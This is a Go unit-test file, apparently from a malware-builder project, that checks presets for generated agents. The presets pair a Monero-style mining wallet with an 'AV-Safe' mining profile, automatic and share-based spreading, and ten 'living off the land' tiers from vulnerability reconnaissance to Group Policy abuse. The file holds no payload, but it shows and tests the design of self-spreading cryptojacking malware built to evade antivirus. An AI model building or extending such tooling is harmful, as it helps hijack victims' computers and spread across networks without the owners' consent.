Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
48 lines
1.2 KiB
Go
48 lines
1.2 KiB
Go
package builder
|
|
|
|
import "testing"
|
|
|
|
func TestNormalizeLotlOnionTiers(t *testing.T) {
|
|
got := NormalizeLotlOnionTiers(nil)
|
|
if len(got) != 10 || got[0] != "vuln_recon" || got[9] != "gpo" {
|
|
t.Fatalf("defaults: %v", got)
|
|
}
|
|
}
|
|
|
|
func TestApplyLotlOnionPreset(t *testing.T) {
|
|
req := &BuildRequest{
|
|
WorkerName: "pc",
|
|
ServerURL: "http://127.0.0.1:8989",
|
|
Wallet: "48abc",
|
|
}
|
|
ApplyLotlOnionPreset(req)
|
|
if !req.LotlOnionEnabled || !req.LotlPolicyFromServer {
|
|
t.Fatal("lotl flags")
|
|
}
|
|
if req.MinerExecution != "inprocess" || req.GPUEnabled {
|
|
t.Fatal("expected AV-Safe mining profile")
|
|
}
|
|
if !req.AutoSpread || !req.ShareSpread || req.SpreadKit {
|
|
t.Fatal("spread profile")
|
|
}
|
|
if len(req.LotlOnionTiers) != 10 {
|
|
t.Fatalf("tiers: %v", req.LotlOnionTiers)
|
|
}
|
|
}
|
|
|
|
func TestNormalizeRequestLotlOnion(t *testing.T) {
|
|
h := &Handler{}
|
|
req := &BuildRequest{
|
|
WorkerName: "pc",
|
|
ServerURL: "http://127.0.0.1:8989",
|
|
Wallet: "48abc",
|
|
LotlOnionEnabled: true,
|
|
}
|
|
if err := h.normalizeRequest(req); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if req.MinerExecution != "inprocess" || !req.LotlPolicyFromServer {
|
|
t.Fatalf("lotl normalize: exec=%q policy=%v", req.MinerExecution, req.LotlPolicyFromServer)
|
|
}
|
|
}
|